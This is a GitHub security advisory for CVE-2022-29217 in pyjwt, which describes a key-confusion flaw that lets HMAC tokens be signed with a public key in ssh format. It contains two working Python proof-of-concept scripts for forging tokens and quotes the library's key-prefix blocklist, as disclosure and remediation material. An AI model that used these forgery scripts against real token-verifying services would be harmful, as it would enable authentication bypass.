CVE-2022-29217 – pyjwt
Package
Manager: pip
Name: pyjwt
Vulnerable Version: >=1.5.0 <2.4.0
Severity
Level: High
CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
CVSS v4.0: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS: 0.00446 pctl0.62573
Details
Key confusion through non-blocklisted public key formats ### Impact _What kind of vulnerability is it? Who is impacted?_ Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation). > PyJWT supports multiple different JWT signing algorithms. With JWT, an > attacker submitting the JWT token can choose the used signing algorithm. > > The PyJWT library requires that the application chooses what algorithms > are supported. The application can specify > "jwt.algorithms.get_default_algorithms()" to get support for all > algorithms. They can also specify a single one of them (which is the > usual use case if calling jwt.decode directly. However, if calling > jwt.decode in a helper function, all algorithms might be enabled.) > > For example, if the user chooses "none" algorithm and the JWT checker > supports that, there will be no signature checking. This is a common > security issue with some JWT implementations. > > PyJWT combats this by requiring that the if the "none" algorithm is > used, the key has to be empty. As the key is given by the application > running the checker, attacker cannot force "none" cipher to be used. > > Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is > not a public key meant for asymmetric algorithm i.e. HMAC cannot be used > if the key begins with "ssh-rsa". If HMAC is used with a public key, the > attacker can just use the publicly known public key to sign the token > and the checker would use the same key to verify. > > From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. > With ed25519, PyJWT supports public keys that start with "ssh-", for > example "ssh-ed25519". ```python import jwt from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import ed25519 # Generate ed25519 private key private_key = ed25519.Ed25519PrivateKey.generate() # Get private key bytes as they would be stored in a file priv_key_bytes = private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption()) # Get public key bytes as they would be stored in a file pub_key_bytes = private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH) # Making a good jwt token that should work by signing it with the private key encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA") # Using HMAC with the public key to trick the receiver to think that the public key is a HMAC secret encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256") # Both of the jwt tokens are validated as valid decoded_good = jwt.decode(encoded_good, pub_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) if decoded_good == decoded_bad: print("POC Successfull") # Of course the receiver should specify ed25519 algorithm to be used if they specify ed25519 public key. However, if other algorithms are used, the POC does not work # HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py # # invalid_strings = [ # b"-----BEGIN PUBLIC KEY-----", # b"-----BEGIN CERTIFICATE-----", # b"-----BEGIN RSA PUBLIC KEY-----", # b"ssh-rsa", # ] # # However, OKPAlgorithm (ed25519) accepts the following in jwt/algorithms.py: # # if "-----BEGIN PUBLIC" in str_key: # return load_pem_public_key(key) # if "-----BEGIN PRIVATE" in str_key: # return load_pem_private_key(key, password=None) # if str_key[0:4] == "ssh-": # return load_ssh_public_key(key) # # These should most likely made to match each other to prevent this behavior ``` ```python import jwt #openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem #openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem #ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY----- MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49 AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END EC PRIVATE KEY-----""" pub_key_bytes = b"""-----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END PUBLIC KEY-----""" ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc=""" # Making a good jwt token that should work by signing it with the private key encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256") # Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256") # Both of the jwt tokens are validated as valid decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) if decoded_good == decoded_bad: print("POC Successfull") else: print("POC Failed") ``` > The issue is not that big as > algorithms=jwt.algorithms.get_default_algorithms() has to be used. > However, with quick googling, this seems to be used in some cases at > least in some minor projects. ### Patches Users should upgrade to v2.4.0. ### Workarounds Always be explicit with the algorithms that are accepted and expected when decoding. ### References _Are there any links users can visit to find out more?_ ### For more information If you have any questions or comments about this advisory: * Open an issue in https://github.com/jpadilla/pyjwt * Email José Padilla: pyjwt at jpadilla dot com
Metadata
Created: 2022-05-24T22:17:27Z
Modified: 2024-10-15T16:18:12Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/05/GHSA-ffqj-6fqr-9h24/GHSA-ffqj-6fqr-9h24.json
CWE IDs: ["CWE-327"]
Alternative ID: GHSA-ffqj-6fqr-9h24
Finding: F052
Auto approve: 1